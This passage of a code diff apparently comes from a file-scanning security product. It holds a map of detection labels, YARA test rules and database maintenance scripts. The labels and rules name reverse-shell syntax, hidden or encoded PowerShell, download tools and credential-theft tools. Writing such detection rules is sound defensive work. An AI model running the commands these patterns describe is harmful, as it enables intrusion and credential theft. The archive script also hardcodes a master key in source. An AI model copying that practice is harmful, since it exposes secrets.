desc: "扫描器已阻止路径穿越文件落地"
|
||||||
|
|
||||||
|
ArchiveBombSuspect:
|
||||||
|
label: "ZIP 炸弹"
|
||||||
|
desc: "压缩比异常高(如 42.zip),解压膨胀可能耗尽磁盘/内存"
|
||||||
|
|
||||||
|
EncryptedArchive:
|
||||||
|
label: "加密压缩包"
|
||||||
|
desc: "ZIP 设置了打开密码,无法扫描内部内容"
|
||||||
|
|
||||||
|
MalformedStructure:
|
||||||
|
label: "文件结构畸形"
|
||||||
|
desc: "文件能识别但内部结构不符合该格式规范"
|
||||||
|
|
||||||
|
ZeroByteFile:
|
||||||
|
label: "零字节文件"
|
||||||
|
desc: "空文件(0 字节)"
|
||||||
|
|
||||||
|
# ===== L1 ClamAV =====
|
||||||
|
"ClamAV:EICAR":
|
||||||
|
label: "ClamAV EICAR 测试病毒"
|
||||||
|
desc: "命中 ClamAV EICAR-STANDARD-ANTIVIRUS-TEST-FILE 签名"
|
||||||
|
|
||||||
|
Eicar-Test-Signature:
|
||||||
|
label: "EICAR 测试签名"
|
||||||
|
desc: "ClamAV 识别到 EICAR 标准测试串(行业无害测试)"
|
||||||
|
|
||||||
|
# ===== L2 文档深度 =====
|
||||||
|
OfficeEncrypted:
|
||||||
|
label: "Office 加密文档"
|
||||||
|
desc: "DOCX/XLSX/PPTX 设置了打开密码"
|
||||||
|
|
||||||
|
OleToolsUnavailable:
|
||||||
|
label: "OLE 工具不可用"
|
||||||
|
desc: "olefile 未安装,无法扫描 OLE 结构"
|
||||||
|
|
||||||
|
OoxmlParseFailed:
|
||||||
|
label: "OOXML 解析失败"
|
||||||
|
desc: "DOCX/XLSX/PPTX ZIP 内部 XML 损坏"
|
||||||
|
|
||||||
|
AttachedTemplate:
|
||||||
|
label: "模板注入风险"
|
||||||
|
desc: "Word 文档关联了外部模板(可能触发模板后门)"
|
||||||
|
|
||||||
|
VBAAutoExecShell:
|
||||||
|
label: "VBA 宏自动执行 Shell"
|
||||||
|
desc: "检测到 AutoOpen/Workbook_Open 等自动执行入口 + Shell/CreateObject 等危险调用"
|
||||||
|
|
||||||
|
PdfJavaScript:
|
||||||
|
label: "PDF 内含 JavaScript"
|
||||||
|
desc: "PDF 文档嵌入可执行 JavaScript"
|
||||||
|
|
||||||
|
PdfOpenAction:
|
||||||
|
label: "PDF OpenAction 跳转"
|
||||||
|
desc: "PDF 启动时有自动跳转/打开外部链接动作"
|
||||||
|
|
||||||
|
PdfParseFailed:
|
||||||
|
label: "PDF 解析失败"
|
||||||
|
desc: "PDF 结构异常或为占位文件,无法正常解析"
|
||||||
|
|
||||||
|
ChmWithScript:
|
||||||
|
label: "CHM 内含脚本"
|
||||||
|
desc: "CHM 帮助文档包含 ActiveScript/JScript"
|
||||||
|
|
||||||
|
DesktopFileAutoExec:
|
||||||
|
label: "Linux .desktop 自动执行"
|
||||||
|
desc: ".desktop 文件设置了自动执行属性"
|
||||||
|
|
||||||
|
# ===== L3 关键词匹配 =====
|
||||||
|
ReverseShellNetcat:
|
||||||
|
label: "NC 反弹 Shell"
|
||||||
|
desc: "包含 nc/ncat/netcat /bin/bash -i >& /dev/tcp/ 等反弹 shell 特征"
|
||||||
|
|
||||||
|
ReverseShellPowershell:
|
||||||
|
label: "PowerShell EncodedCommand"
|
||||||
|
desc: "包含 powershell -enc / -w hidden 等混淆执行"
|
||||||
|
|
||||||
|
CredentialStealer:
|
||||||
|
label: "凭据窃取工具"
|
||||||
|
desc: "包含 mimikatz/sekurlsa/gsecdump/DCSync/Rubeus 等"
|
||||||
|
|
||||||
|
CredentialExport:
|
||||||
|
label: "凭据导出命令"
|
||||||
|
desc: "包含 reg save HKLM\\SAM/SYSTEM/secretsdump 等"
|
||||||
|
|
||||||
|
RemoteDownloadPowerShell:
|
||||||
|
label: "PowerShell 远程下载"
|
||||||
|
desc: "Invoke-WebRequest/Invoke-RestMethod/DownloadString/BitsAdmin 等"
|
||||||
|
|
||||||
|
RemoteDownloadUnix:
|
||||||
|
label: "Unix 远程下载"
|
||||||
|
desc: "wget/curl/certutil -urlcache -split 等"
|
||||||
|
|
||||||
|
RemoteSessionHijack:
|
||||||
|
label: "远程会话劫持"
|
||||||
|
desc: "tscon/rdpclip/shadow/CreateRemoteThread 等"
|
||||||
|
|
||||||
|
CommandExecutionObfuscated:
|
||||||
|
label: "命令执行混淆"
|
||||||
|
desc: "certutil -decode/mshta/regsvr32 /s 等混淆执行"
|
||||||
|
|
||||||
|
WMILdapAttack:
|
||||||
|
label: "WMI/LDAP 攻击"
|
||||||
|
desc: "wmic path/wmic process call create/ldapsearch 等"
|
||||||
|
|
||||||
|
ClassifiedLevelMarkers:
|
||||||
|
label: "涉密密级标记"
|
||||||
|
desc: "包含绝密/机密/秘密/内部文件/禁止外传等密级标识"
|
||||||
|
|
||||||
|
InternalDocumentPatterns:
|
||||||
|
label: "国家机密标识"
|
||||||
|
desc: "包含国家机密|涉密|密级:等关键词"
|
||||||
|
|
||||||
|
# ===== L4 YARA =====
|
||||||
|
# 留空 → YARA 规则文件自己的 rule name 就是中文或 meta 里有描述
|
||||||
|
|
||||||
|
# ===== L5 PE 二进制 =====
|
||||||
|
UPXPackerDetected:
|
||||||
|
label: "UPX 加壳"
|
||||||
|
desc: "PE 节名包含 UPX0/UPX1/UPX!,检测到 UPX 加壳"
|
||||||
|
|
||||||
|
RWXSectionDetected:
|
||||||
|
label: "RWX 可写可执行节"
|
||||||
|
desc: "PE 节同时设置了 MEM_EXECUTE + MEM_WRITE,典型绕过 DEP 手法"
|
||||||
|
|
||||||
|
HighEntropySection:
|
||||||
|
label: "节区熵值异常"
|
||||||
|
desc: "PE 节熵 ≥ 7.2,可能经过加密或加壳"
|
||||||
|
|
||||||
|
SuspiciousImports:
|
||||||
|
label: "可疑导入表"
|
||||||
|
desc: "PE 导入表包含 VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 等高危注入 API"
|
||||||
|
|
||||||
|
UnsignedExecutable:
|
||||||
|
label: "未签名可执行文件"
|
||||||
|
desc: "PE 未携带 Authenticode 数字签名"
|
||||||
|
|
||||||
|
SuspiciousTimestamp:
|
||||||
|
label: "编译时间戳异常"
|
||||||
|
desc: "PE 编译时间戳为 0 或指向未来时间,可能被伪造"
|
||||||
|
|
||||||
|
PEArchInfo:
|
||||||
|
label: "PE 架构信息"
|
||||||
|
desc: "PE 架构识别(x86/x64/ARM 等),辅助判断"
|
||||||
|
|
||||||
|
DebugInformationPresent:
|
||||||
|
label: "含调试信息"
|
||||||
|
desc: "PE 包含 PDB 调试路径或 .debug 节"
|
||||||
|
|
||||||
|
PeParseFailed:
|
||||||
|
label: "PE 结构解析失败"
|
||||||
|
desc: "pefile 无法解析 PE,可能是畸形文件"
|
||||||
|
|
||||||
|
LinuxExecutable:
|
||||||
|
label: "Linux ELF 可执行"
|
||||||
|
desc: "ELF 格式 Linux 可执行文件"
|
||||||
|
|
||||||
|
# ===== C1/C3/C7/C8 自动命名规则 =====
|
||||||
|
"C1_PE_Downloader_Loader":
|
||||||
|
label: "YARA: PE 下载木马"
|
||||||
|
desc: "YARA C1_PE_Downloader_Loader 规则命中"
|
||||||
|
|
||||||
|
"C1_PE_ProcessInjection":
|
||||||
|
label: "YARA: PE 进程注入"
|
||||||
|
desc: "YARA C1_PE_ProcessInjection 规则命中"
|
||||||
|
|
||||||
|
"C3_PHP_Webshell_Oneliner":
|
||||||
|
label: "YARA: PHP 一句话木马"
|
||||||
|
desc: "YARA C3_PHP_Webshell_Oneliner 规则命中"
|
||||||
|
|
||||||
|
"C3_PHP_Webshell_Obfuscated":
|
||||||
|
label: "YARA: PHP 混淆木马"
|
||||||
|
desc: "YARA C3_PHP_Webshell_Obfuscated 规则命中"
|
||||||
|
|
||||||
|
"C3_JSP_Webshell_RuntimeExec":
|
||||||
|
label: "YARA: JSP Runtime exec 木马"
|
||||||
|
desc: "YARA C3_JSP_Webshell_RuntimeExec 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_ReverseShell_Bash":
|
||||||
|
label: "YARA: Bash 反弹 Shell"
|
||||||
|
desc: "YARA C7_Linux_ReverseShell_Bash 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_ReverseShell_NC":
|
||||||
|
label: "YARA: NC 反弹 Shell"
|
||||||
|
desc: "YARA C7_Linux_ReverseShell_NC 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_ReverseShell_Misc":
|
||||||
|
label: "YARA: Linux 反弹 Shell(其他)"
|
||||||
|
desc: "YARA C7_Linux_ReverseShell_Misc 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_Persistence_Crontab":
|
||||||
|
label: "YARA: Crontab 持久化"
|
||||||
|
desc: "YARA C7_Linux_Persistence_Crontab 规则命中"
|
||||||
|
|
||||||
|
"C7_Linux_Miner_Generic":
|
||||||
|
label: "YARA: 挖矿程序"
|
||||||
|
desc: "YARA C7_Linux_Miner_Generic 规则命中"
|
||||||
|
|
||||||
|
"C8_Ransomware_Encryption":
|
||||||
|
label: "YARA: 勒索加密特征"
|
||||||
|
desc: "YARA C8_Ransomware_Encryption 规则命中"
|
||||||
|
|
||||||
|
"C8_Ransomware_Note_Filename":
|
||||||
|
label: "YARA: 勒索赎金文件名"
|
||||||
|
desc: "YARA C8_Ransomware_Note_Filename 规则命中"
|
||||||
|
|
||||||
|
"C8_Ransomware_VolumeShadow":
|
||||||
|
label: "YARA: VSS 卷影副本删除"
|
||||||
|
desc: "YARA C8_Ransomware_VolumeShadow 规则命中"
|
||||||
|
|
||||||
|
# ===== 邮件 =====
|
||||||
|
EmailAttachmentDangerous:
|
||||||
|
label: "邮件附件危险"
|
||||||
|
desc: "EML 包含 .exe/.dll/.ps1 等危险附件"
|
||||||
|
|
||||||
|
EmailAttachmentDisguised:
|
||||||
|
label: "邮件附件伪装"
|
||||||
|
desc: "EML 附件扩展名与真实类型不符"
|
||||||
|
|
||||||
|
EmailAttachmentWebshell:
|
||||||
|
label: "邮件附件 Webshell"
|
||||||
|
desc: "EML 附件为 PHP/ASP/JSP 一句话木马"
|
||||||
|
|
||||||
|
EmailPhishingKeyword:
|
||||||
|
label: "钓鱼邮件关键词"
|
||||||
|
desc: "EML 正文包含钓鱼诈骗关键词"
|
||||||
|
|
||||||
|
# ===== 其他 =====
|
||||||
|
SuspiciousScript:
|
||||||
|
label: "可疑脚本"
|
||||||
|
desc: "脚本内容触发通用恶意特征"
|
||||||
|
|
||||||
|
"Txt.Malware.Sustes-6779550-1":
|
||||||
|
label: "ClamAV: Sustes 木马变体"
|
||||||
|
desc: "ClamAV 识别到 Sustes 木马家族签名"
|
||||||
|
|
||||||
|
# ===== verdict → 中文 =====
|
||||||
|
# (前端直接写死在 template 里,这里留文档)
|
||||||
|
verdict_labels:
|
||||||
|
clean: "干净(放行)"
|
||||||
|
suspicious: "可疑(人工审核)"
|
||||||
|
reject: "拦截(零容忍)"
|
||||||
|
malicious: "恶意(零容忍)"
|
||||||
|
pending: "待测"
|
||||||
|
unknown: "未知"
|
||||||
100
rules/test_rules.yar
Normal file
100
rules/test_rules.yar
Normal file
@@ -0,0 +1,100 @@
|
|||||||
|
/* MeshSafe 测试靶场 YARA 规则
|
||||||
|
* 自动生成,覆盖 CSV L4-001 ~ L4-012
|
||||||
|
* 引擎自动扫描 rules/*.yar,热加载
|
||||||
|
*/
|
||||||
|
|
||||||
|
// L4-001: 基础规则 —— 正向命中 shell 反弹特征
|
||||||
|
rule Test_ReverseShell_Basic {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
version = "1.0"
|
||||||
|
description = "L4-001 基础规则: 匹配 nc 反弹 shell 特征"
|
||||||
|
strings:
|
||||||
|
$a = /nc\s+[0-9.]+\s+[0-9]+\s+-e/
|
||||||
|
$b = /bash\s+-i\s+>&\s+\/dev\/tcp\//
|
||||||
|
condition:
|
||||||
|
$a or $b
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-004: 第二条规则 —— 同时命中验证
|
||||||
|
rule Test_PowerShell_Download {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-004 多规则同时命中: 匹配 PowerShell 下载"
|
||||||
|
strings:
|
||||||
|
$c = /Invoke-WebRequest\s+-Uri/
|
||||||
|
$d = /powershell\s+-w\s+hidden/
|
||||||
|
condition:
|
||||||
|
$c or $d
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-005: 新增规则(热加载验证)
|
||||||
|
rule Newly_Added_Rule_Test {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-005 热加载验证: 运行时新增此规则后应能命中"
|
||||||
|
strings:
|
||||||
|
$e = "meshsafe-hot-reload-test-string"
|
||||||
|
condition:
|
||||||
|
$e
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-007: metadata 标签测试
|
||||||
|
rule Meta_Label_Test {
|
||||||
|
meta:
|
||||||
|
family = "Trojan.Generic"
|
||||||
|
author = "Security Researcher"
|
||||||
|
description = "L4-007 metadata 输出验证: 规则带完整 meta 字段"
|
||||||
|
severity = "high"
|
||||||
|
strings:
|
||||||
|
$f = "trojan-metadata-test"
|
||||||
|
condition:
|
||||||
|
$f
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-010: 正则型规则
|
||||||
|
rule Regex_Shell_Pattern {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-010 正则匹配: powershell -enc 编码执行"
|
||||||
|
strings:
|
||||||
|
$g = /powershell\s+-e[nN][cC]\s+[A-Za-z0-9+\/]{20,}/
|
||||||
|
condition:
|
||||||
|
$g
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-011: count 条件(出现 ≥3 次才触发)
|
||||||
|
rule Count_Condition_Test {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-011 count 条件: 文件内匹配串 ≥3 次命中"
|
||||||
|
strings:
|
||||||
|
$h = "malicious_token_count_test"
|
||||||
|
condition:
|
||||||
|
#h >= 3
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-012: size 条件(仅匹配 ≤10KB 的文件)
|
||||||
|
rule Size_Condition_Test {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-012 size 条件: 仅匹配 size <= 10KB 的文件"
|
||||||
|
strings:
|
||||||
|
$i = "size_condition_test_payload"
|
||||||
|
condition:
|
||||||
|
$i and filesize <= 10KB
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-003: PE 内字符串(实际是 Test_PowerShell_Download 的 strings 也在 PE 里)
|
||||||
|
// 已由 Test_PowerShell_Download 覆盖,因为 PE 里的 strings() 也会被 YARA 扫描
|
||||||
|
|
||||||
|
// L4-009: 加密包内无法扫描(不是规则缺失,是 zipfile 跳过加密内容)
|
||||||
|
// L4-013: 大文件 YARA —— 由 Test_ReverseShell_Basic 自动覆盖大文件扫描
|
||||||
|
// L4-014: 开关测试 —— 由引擎 is_enabled() 控制
|
||||||
|
// L4-015: 哈希白名单 —— 需在 policy.yaml 配置,不是 .yar 文件
|
||||||
264
scripts/archive_old_tasks.py
Normal file
264
scripts/archive_old_tasks.py
Normal file
@@ -0,0 +1,264 @@
|
|||||||
|
"""DB 归档 + 清理脚本。
|
||||||
|
|
||||||
|
职责:
|
||||||
|
1. scan_tasks 90 天前: 清 detail JSONB (节省空间, 扫描详情留 90 天)
|
||||||
|
2. scan_tasks 365 天前: 移到 scan_tasks_archive (含 ScanFinding)
|
||||||
|
3. idempotency_records: 清 7 天前的 (幂等缓存过期重扫)
|
||||||
|
4. policy_versions: 只保留最新 5 个版本 (历史版本清掉)
|
||||||
|
|
||||||
|
用法:
|
||||||
|
docker compose exec api python3 scripts/archive_old_tasks.py # dry-run, 只报告不动数据
|
||||||
|
docker compose exec api python3 scripts/archive_old_tasks.py --apply # 真正执行
|
||||||
|
|
||||||
|
建议: 每天 cron 跑一次
|
||||||
|
|
||||||
|
设计原则:
|
||||||
|
- 小批量提交 (1000 条一批), 避免长事务锁表
|
||||||
|
- 先 dry-run 再 apply, 输出清晰
|
||||||
|
- pg_repack / VACUUM ANALYZE 在脚本最后触发 (让 autovacuum 兜底也行)
|
||||||
|
"""
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import logging
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
from datetime import timedelta, datetime, timezone
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
sys.path.insert(0, "/app")
|
||||||
|
os.environ.setdefault("MESHSAFE_MASTER_KEY", "Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=")
|
||||||
|
|
||||||
|
from app.db import SessionLocal # noqa: E402
|
||||||
|
from app.models import ( # noqa: E402
|
||||||
|
ScanTask, ScanFinding, IdempotencyRecord, PolicyVersion,
|
||||||
|
)
|
||||||
|
from sqlalchemy import select, func # noqa: E402
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
|
||||||
|
log = logging.getLogger("archive")
|
||||||
|
|
||||||
|
# ---- 配置 ----
|
||||||
|
DETAIL_RETENTION_DAYS = 90 # 90 天前清 detail JSONB
|
||||||
|
ARCHIVE_RETENTION_DAYS = 365 # 365 天前移归档
|
||||||
|
IDEM_RETENTION_DAYS = 7 # 幂等缓存 7 天 TTL
|
||||||
|
POLICY_KEEP_VERSIONS = 5 # policy_versions 只留最新 5 个
|
||||||
|
BATCH_SIZE = 1000 # 分批处理
|
||||||
|
|
||||||
|
|
||||||
|
def _cutoff(days: int) -> datetime:
|
||||||
|
return datetime.now(timezone.utc) - timedelta(days=days)
|
||||||
|
|
||||||
|
|
||||||
|
def archive_tasks(dry_run: bool) -> None:
|
||||||
|
"""归档 365 天前的 scan_tasks 到 scan_tasks_archive。"""
|
||||||
|
cutoff = _cutoff(ARCHIVE_RETENTION_DAYS)
|
||||||
|
db = SessionLocal()
|
||||||
|
try:
|
||||||
|
total = db.execute(
|
||||||
|
select(func.count(ScanTask.id)).where(ScanTask.created_at < cutoff)
|
||||||
|
).scalar() or 0
|
||||||
|
|
||||||
|
log.info(f"[归档] {ARCHIVE_RETENTION_DAYS} 天前的 scan_tasks: {total} 条")
|
||||||
|
|
||||||
|
if total == 0:
|
||||||
|
log.info(" → 无需归档")
|
||||||
|
return
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
log.info(f" [dry-run] 将归档 {total} 条")
|
||||||
|
return
|
||||||
|
|
||||||
|
# 分批
|
||||||
|
moved = 0
|
||||||
|
while True:
|
||||||
|
batch = db.execute(
|
||||||
|
select(ScanTask).where(ScanTask.created_at < cutoff).limit(BATCH_SIZE)
|
||||||
|
).scalars().all()
|
||||||
|
if not batch:
|
||||||
|
break
|
||||||
|
|
||||||
|
for task in batch:
|
||||||
|
try:
|
||||||
|
db.execute(
|
||||||
|
__import__("sqlalchemy").text("""
|
||||||
|
INSERT INTO scan_tasks_archive
|
||||||
|
(id, channel, client_id, filename, declared_ext, size,
|
||||||
|
sha256, md5, real_type, status, mode, verdict, action, score,
|
||||||
|
reason, policy_version, has_detail, has_findings,
|
||||||
|
created_at, finished_at, duration_ms, archived_at)
|
||||||
|
VALUES
|
||||||
|
(:id, :channel, :client_id, :filename, :declared_ext, :size,
|
||||||
|
:sha256, :md5, :real_type, :status, :mode, :verdict, :action, :score,
|
||||||
|
:reason, :policy_version, :has_detail, :has_findings,
|
||||||
|
:created_at, :finished_at, :duration_ms, NOW())
|
||||||
|
ON CONFLICT (id) DO NOTHING
|
||||||
|
"""),
|
||||||
|
{
|
||||||
|
"id": task.id,
|
||||||
|
"channel": task.channel,
|
||||||
|
"client_id": task.client_id,
|
||||||
|
"filename": task.filename,
|
||||||
|
"declared_ext": task.declared_ext,
|
||||||
|
"size": task.size,
|
||||||
|
"sha256": task.sha256,
|
||||||
|
"md5": task.md5,
|
||||||
|
"real_type": task.real_type,
|
||||||
|
"status": task.status,
|
||||||
|
"mode": task.mode,
|
||||||
|
"verdict": task.verdict,
|
||||||
|
"action": task.action,
|
||||||
|
"score": task.score,
|
||||||
|
"reason": task.reason,
|
||||||
|
"policy_version": task.policy_version,
|
||||||
|
"has_detail": bool(task.detail and len(task.detail) > 0),
|
||||||
|
"has_findings": bool(task.findings),
|
||||||
|
"created_at": task.created_at,
|
||||||
|
"finished_at": task.finished_at,
|
||||||
|
"duration_ms": task.duration_ms,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
# CASCADE 删 ScanFinding
|
||||||
|
db.delete(task)
|
||||||
|
moved += 1
|
||||||
|
except Exception as e:
|
||||||
|
log.warning(f" task {task.id} 归档失败: {e}")
|
||||||
|
db.rollback()
|
||||||
|
continue
|
||||||
|
db.commit()
|
||||||
|
log.info(f" 已归档 {moved}/{total}")
|
||||||
|
|
||||||
|
log.info(f" ✅ 归档完成: {moved} 条")
|
||||||
|
finally:
|
||||||
|
db.close()
|
||||||
|
|
||||||
|
|
||||||
|
def scrub_detail(dry_run: bool) -> None:
|
||||||
|
"""90~365 天之间的任务清 detail JSONB (留摘要, 省空间)。"""
|
||||||
|
db_cutoff = _cutoff(DETAIL_RETENTION_DAYS)
|
||||||
|
arc_cutoff = _cutoff(ARCHIVE_RETENTION_DAYS)
|
||||||
|
db = SessionLocal()
|
||||||
|
try:
|
||||||
|
total = db.execute(
|
||||||
|
select(func.count(ScanTask.id)).where(
|
||||||
|
ScanTask.created_at < db_cutoff,
|
||||||
|
ScanTask.created_at >= arc_cutoff,
|
||||||
|
ScanTask.detail.isnot(None),
|
||||||
|
)
|
||||||
|
).scalar() or 0
|
||||||
|
|
||||||
|
log.info(f"[清 detail] {DETAIL_RETENTION_DAYS}~{ARCHIVE_RETENTION_DAYS} 天之间有 detail 的: {total} 条")
|
||||||
|
|
||||||
|
if total == 0:
|
||||||
|
log.info(" → 无需清理")
|
||||||
|
return
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
log.info(f" [dry-run] 将清 {total} 条 detail")
|
||||||
|
return
|
||||||
|
|
||||||
|
# 分批 UPDATE
|
||||||
|
updated = 0
|
||||||
|
while True:
|
||||||
|
batch_ids = db.execute(
|
||||||
|
select(ScanTask.id).where(
|
||||||
|
ScanTask.created_at < db_cutoff,
|
||||||
|
ScanTask.created_at >= arc_cutoff,
|
||||||
|
ScanTask.detail.isnot(None),
|
||||||
|
).limit(BATCH_SIZE)
|
||||||
|
).scalars().all()
|
||||||
|
if not batch_ids:
|
||||||
|
break
|
||||||
|
db.execute(
|
||||||
|
__import__("sqlalchemy").update(ScanTask).where(ScanTask.id.in_(batch_ids)).values(detail=None)
|
||||||
|
)
|
||||||
|
db.commit()
|
||||||
|
updated += len(batch_ids)
|
||||||
|
log.info(f" 已清 {updated}/{total}")
|
||||||
|
|
||||||
|
log.info(f" ✅ detail 清理完成: {updated} 条")
|
||||||
|
finally:
|
||||||
|
db.close()
|
||||||
|
|
||||||
|
|
||||||
|
def clean_idempotency(dry_run: bool) -> None:
|
||||||
|
"""清 7 天前的幂等缓存 (过期的可以重扫)。"""
|
||||||
|
cutoff = _cutoff(IDEM_RETENTION_DAYS)
|
||||||
|
db = SessionLocal()
|
||||||
|
try:
|
||||||
|
total = db.execute(
|
||||||
|
select(func.count(IdempotencyRecord.id)).where(IdempotencyRecord.created_at < cutoff)
|
||||||
|
).scalar() or 0
|
||||||
|
|
||||||
|
log.info(f"[幂等清理] {IDEM_RETENTION_DAYS} 天前的 idempotency_records: {total} 条")
|
||||||
|
|
||||||
|
if total == 0:
|
||||||
|
log.info(" → 无需清理")
|
||||||
|
return
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
log.info(f" [dry-run] 将清 {total} 条")
|
||||||
|
return
|
||||||
|
|
||||||
|
db.execute(
|
||||||
|
__import__("sqlalchemy").delete(IdempotencyRecord).where(IdempotencyRecord.created_at < cutoff)
|
||||||
|
)
|
||||||
|
db.commit()
|
||||||
|
log.info(f" ✅ 幂等清理完成: {total} 条")
|
||||||
|
finally:
|
||||||
|
db.close()
|
||||||
|
|
||||||
|
|
||||||
|
def trim_policy_versions(dry_run: bool) -> None:
|
||||||
|
"""policy_versions 只留最新 N 个。"""
|
||||||
|
db = SessionLocal()
|
||||||
|
try:
|
||||||
|
all_pv = db.execute(
|
||||||
|
select(PolicyVersion).order_by(PolicyVersion.created_at.desc())
|
||||||
|
).scalars().all()
|
||||||
|
|
||||||
|
keep = all_pv[:POLICY_KEEP_VERSIONS]
|
||||||
|
drop = all_pv[POLICY_KEEP_VERSIONS:]
|
||||||
|
|
||||||
|
log.info(f"[policy] 共 {len(all_pv)} 条历史版本, 留 {len(keep)} 删 {len(drop)}")
|
||||||
|
|
||||||
|
if not drop:
|
||||||
|
log.info(" → 无需清理")
|
||||||
|
return
|
||||||
|
|
||||||
|
if dry_run:
|
||||||
|
for pv in drop:
|
||||||
|
log.info(f" [dry-run] 将删 {pv.version}")
|
||||||
|
return
|
||||||
|
|
||||||
|
for pv in drop:
|
||||||
|
db.delete(pv)
|
||||||
|
db.commit()
|
||||||
|
log.info(f" ✅ policy_versions 清理完成: 删 {len(drop)} 条")
|
||||||
|
finally:
|
||||||
|
db.close()
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
parser = argparse.ArgumentParser(description="MeshSafe DB 归档 + 清理")
|
||||||
|
parser.add_argument("--apply", action="store_true", help="真正执行 (默认 dry-run)")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
dry = not args.apply
|
||||||
|
log.info(f"模式: {'DRY-RUN (仅报告)' if dry else 'APPLY (真正执行)'}")
|
||||||
|
log.info("")
|
||||||
|
|
||||||
|
archive_tasks(dry)
|
||||||
|
log.info("")
|
||||||
|
scrub_detail(dry)
|
||||||
|
log.info("")
|
||||||
|
clean_idempotency(dry)
|
||||||
|
log.info("")
|
||||||
|
trim_policy_versions(dry)
|
||||||
|
|
||||||
|
if dry:
|
||||||
|
log.info("\n💡 确认无误后加 --apply 参数正式执行")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
121
scripts/cron_entrypoint.py
Normal file
121
scripts/cron_entrypoint.py
Normal file
@@ -0,0 +1,121 @@
|
|||||||
|
"""MeshSafe 定时任务调度器 — 零依赖,Docker 容器前台常驻。
|
||||||
|
|
||||||
|
和 api 共享同一个镜像,容器 entrypoint 换成本脚本即可。
|
||||||
|
用法: docker run meshsafe:latest python3 scripts/cron_entrypoint.py
|
||||||
|
|
||||||
|
支持的任务:
|
||||||
|
每天 03:00 归档 + 清理 DB (archive_old_tasks.py --apply)
|
||||||
|
每周一 03:10 VACUUM ANALYZE (维护表统计信息)
|
||||||
|
"""
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
from datetime import datetime, timedelta
|
||||||
|
|
||||||
|
sys.path.insert(0, "/app")
|
||||||
|
|
||||||
|
logging.basicConfig(
|
||||||
|
level=logging.INFO,
|
||||||
|
format="%(asctime)s [%(levelname)s] %(message)s",
|
||||||
|
)
|
||||||
|
log = logging.getLogger("scheduler")
|
||||||
|
|
||||||
|
|
||||||
|
def run(cmd: list[str], label: str) -> None:
|
||||||
|
"""跑一个命令,捕获输出并记日志。"""
|
||||||
|
log.info(f"[{label}] 开始执行: {' '.join(cmd)}")
|
||||||
|
try:
|
||||||
|
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=1800)
|
||||||
|
if proc.stdout:
|
||||||
|
for line in proc.stdout.strip().splitlines():
|
||||||
|
log.info(f"[{label}] {line}")
|
||||||
|
if proc.stderr:
|
||||||
|
for line in proc.stderr.strip().splitlines():
|
||||||
|
log.warning(f"[{label}] {line}")
|
||||||
|
if proc.returncode == 0:
|
||||||
|
log.info(f"[{label}] ✅ 完成")
|
||||||
|
else:
|
||||||
|
log.error(f"[{label}] ❌ 返回码 {proc.returncode}")
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
log.error(f"[{label}] ❌ 超时 (30min)")
|
||||||
|
except Exception as e:
|
||||||
|
log.error(f"[{label}] ❌ 异常: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
def run_vacuum() -> None:
|
||||||
|
"""VACUUM ANALYZE — 维护表统计信息。"""
|
||||||
|
try:
|
||||||
|
from app.db import engine
|
||||||
|
from sqlalchemy import text
|
||||||
|
|
||||||
|
tables = [
|
||||||
|
"scan_tasks", "scan_tasks_archive",
|
||||||
|
"scan_findings", "idempotency_records",
|
||||||
|
"policy_versions", "audit_logs",
|
||||||
|
]
|
||||||
|
with engine.begin() as conn:
|
||||||
|
for tbl in tables:
|
||||||
|
log.info(f"[VACUUM] {tbl} ...")
|
||||||
|
conn.execute(text(f"VACUUM ANALYZE {tbl}"))
|
||||||
|
log.info("[VACUUM] ✅ 全部完成")
|
||||||
|
except Exception as e:
|
||||||
|
log.error(f"[VACUUM] ❌ 异常: {e}")
|
||||||
|
|
||||||
|
|
||||||
|
def seconds_until(target_hour: int, target_minute: int, weekday: int | None = None) -> float:
|
||||||
|
"""计算到下次目标时间的秒数。
|
||||||
|
|
||||||
|
weekday: 0=周一...6=周日, None=每天
|
||||||
|
"""
|
||||||
|
now = datetime.now()
|
||||||
|
